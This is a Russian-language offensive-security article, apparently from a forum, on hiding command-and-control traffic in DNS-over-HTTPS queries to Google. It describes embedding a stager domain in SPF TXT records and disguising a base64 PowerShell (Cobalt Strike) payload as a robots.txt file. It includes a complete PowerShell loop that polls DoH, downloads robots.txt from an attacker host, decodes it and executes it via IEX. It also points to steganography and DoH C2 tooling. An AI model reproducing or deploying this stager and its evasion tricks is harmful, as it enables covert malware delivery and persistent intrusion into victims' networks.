Статья C2 с использованием DNS по HTTPS (DoH)

Постоянный доступ к сети цели является одним из основных этапов в любой наступательной операции. Во время нашей деятельности мы используем различные типы маяков для повседневных операций. При сбое всех маяков они могут восстановить доступ к сети цели. Таким образом, маяк должен функционировать таким образом, чтобы не привлекать внимание голубой команды(защитников).

Почему вы должны создавать разнообразие в C2?

Построение различных уровней и применение диверсификации являются важными механизмами для достижения надежности и операционной безопасности (OPSEC) для вашего сервера управления и контроля. Среди прочего, хороший C2 имеет следующие характеристики:

-Наличие резервных каналов, если отключится другой канал
-Разведка одного канала напрямую не разоблачает другие каналы
-Воздействие ваших имплантатов на целевые системы ограничено

Общая схема, используемая различными группами APT для достижения этой цели, заключается в использовании каналов C2 с очень простой функциональностью (Этап 1 C2), которые могут быть использованы для временного развертывания передовых и сложных имплантатов, которые взаимодействуют по другому каналу (Этап 2 C2). Таким образом, создается очень устойчивая инфраструктура.Так же маленький шанс, что ценные имплантаты (с риском атрибуции!) попадут в руки следователей.

Что такое DNS через HTTPS (DoH)?

Одной из целей DoH является повышение конфиденциальности пользователя, разрешение DNS запросов через HTTPS. Различные стороны предлагают DoH, из которых Google является очень заметным.
С наступательной точки зрения, когда мы используем DoH, мы можем выполнить запрос:

-Известной и доверенной стороны(например, Google)
-Мы можем контролировать ответ
-Зашифрованный SSL канал
-Не будет выделяться, если он будет проверен

В дополнение к этим характеристикам, мы находим, что многие из наших клиентов, которые внедрили проверку SSL, исключают все домены Google из проверки по различным причинам (закрепление сертификатов в продуктах Google, загрузка трафика, конфиденциальность и т. д.). В целом, это делает DoH через Google идеальным каналом для запуска полезной нагрузки. На рисунке ниже показан пример на Python, который отправляет один запрос DNS для TXT-записей домена ‘yourdomainhere.nl ' до dns.google.com через HTTPS. Он также показывает ответ.
Picture1-1.jpg


Злоупотребление DoH для запуска полезной нагрузки

Итак, теперь мы знаем как работает DoH, но как мы можем использовать его для запуска доставки полезной нагрузки?Мы можем контролировать содержимое ответа DNS, который периодически вытягивается системой. Используя DoH, мы можем передавать небольшие объемы данных (т. е. информацию о местоположении полезной нагрузки) зараженной системе. Включение только имени хоста или URL-адреса stager в запись DNS TXT не является хорошей идеей с точки зрения OPSEC. Используйте свой творческий потенциал здесь! Например, можно использовать запись SPF для внедрения домена stager. Записи SPF выглядят безвредно и могут содержать IP-адреса, доменов или имен серверов.

Представьте, что у вас есть запись SPF по умолчанию, к которой вы добавляете домен, когда вы хотите доставить новую полезную нагрузку, принимающий конец нашего триггера определит имя хоста, добавленное к записи SPF, и будет действовать на него. На рисунке ниже показан пример ответа txt DNS, в который встроено доменное имя. Это доменное имя может быть извлечено стейджером, который периодически вытягивает запись TXT DNS.
Picture3-1.jpg


Кодировка полезной нагрузки: скрытие в robots.txt

Поскольку сама полезная нагрузка не будет доставляться через DoH из-за ограничений по размеру (и это, вероятно, будет выделяться во время расследования), нам нужно кодировать нашу полезную нагрузку, чтобы она смешивалась с обычным веб-трафиком. На следующем рисунке показан простой пример этого: robots.txt файл, который содержит только текст. Однако на самом деле файл содержит полезную нагрузку PowerShell в кодировке base64 (например, полезную нагрузку PowerShell Cobalt Strike) с дополнительными пробелами, чтобы избежать любых символов "=" в конце. Эта полезная нагрузка реверсируется и разрезается на случайные куски с добавлением ‘Disallow: /’ и ‘.html’ в HTML для того, чтобы имитировать реальный robots.txt-файл.

Код Python для встраивания полезной нагрузки в robots.txt можно найти на нашем GitHub. Использование:
Код:
python HideInRobots.py payload.ps1

robots.txt.jpg

Для большинства операций вы, вероятно, захотите пойти значительно дальше, чтобы скрыть полезные данные во время промежуточного хранения. Некоторые из наших любимых инструментов, которые помогут в этом процессе:

Скрытие PowerShell в PNG-графике с помощью стеганографии:
Код:
https://github.com/peewpw/Invoke-PSImage
Используйте Cloakify, чтобы скрыть вашу полезную нагрузку в тексте:
Код:
https://github.com/johnaho/Cloakify-Powershell

Пример кода DoH stager

Наш принимающий конец канала C2 (Этап 1) является отдельным процессом, который периодически запрашивает запись TXT DNS по DoH. Кусок кода ниже содержит быстрый и грязный пример PowerShell, который можно использовать для бесконечного запроса записей TXT DNS для домена с помощью службы DoH Google. Запросы используют HTTPS для связи с dns.google.com.

В приведенном ниже примере, если получен ответ ‘vspf1 include: -all’ , он вернется в спящий режим на 10 часов. Если ответ больше, он будет извлекать доменное имя, встроенное в ответ, скачает ‘robots.txt’ от доменного имени и выполнит его.
Код:
function Invoke-SPFtrigger
{
while($true)
{
  $hostn = ""
  $spf = (New-Object System.Net.Webclient).DownloadString("https://dns.google.com/resolve?name=yourdomainhere.nl&type=Txt")
  $offsetA = $spf.IndexOf("v=spf1 include:")+15
  $offsetB = $spf.IndexOf("-all")-1
  $hostn = $spf.substring($offsetA,$offsetB-$offsetA)
  if ($hostn.Length -ge 3 ){
    $dl = (New-Object System.Net.Webclient).DownloadString("http://" + $hostn + "/robots.txt")
    $dl = $dl.Replace(".html`n", "")
    $dl = $dl.Replace("Disallow: /", "")
    $dl = $dl[-1..-($dl.length)] -join ""
    $c = [System.Convert]::FromBase64String($dl)
    $st = [System.Text.Encoding]::ASCII.GetString($c)
    IEX($st);
  }
  sleep(3600)
}
}

Invoke-SPFtrigger

Маяк Cobalt Strike через DoH

Вы также можете использовать DoH в качестве основного канала C2. SpiderLabs недавно опубликовал готовый к использованию модуль Cobalt Strike External C2 для этого:
Код:
https://github.com/SpiderLabs/DoHC2

Источник:
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!